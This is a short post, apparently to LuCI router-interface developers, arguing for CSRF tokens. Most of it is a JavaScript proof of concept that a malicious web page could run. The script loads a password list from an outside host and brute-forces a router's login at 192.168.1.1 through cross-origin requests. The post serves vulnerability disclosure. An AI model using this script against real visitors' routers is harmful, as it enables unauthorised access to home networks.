Hi
Shouldn't we consider adding CSRF tokens into luci?
What stops attacker to embed script like this on his malicious website?
(http://example.com/pass.txt
can be changed to any other file)
async function attemptLogin(password) {
try {
const response = await fetch('http://192.168.1.1/', {
method: 'POST',
headers: {
'Authorization': `Basic ${btoa(`root:${password}`)}`
},
credentials: 'include'
});
return response.ok;
} catch(error) {
return false;
}
}
async function loadPasswords() {
try {
const response = await fetch('http://example.com/pass.txt');
const passwords = await response.text().split('\n').map(p => p.trim());
return passwords.filter(Boolean);
} catch(error) {
return [];
}
}
async function main() {
const passwords = await loadPasswords();
for(const password of passwords) {
if(await attemptLogin(password)) {
alert('Your router seems vulnerable');
break;
}
}
}
main();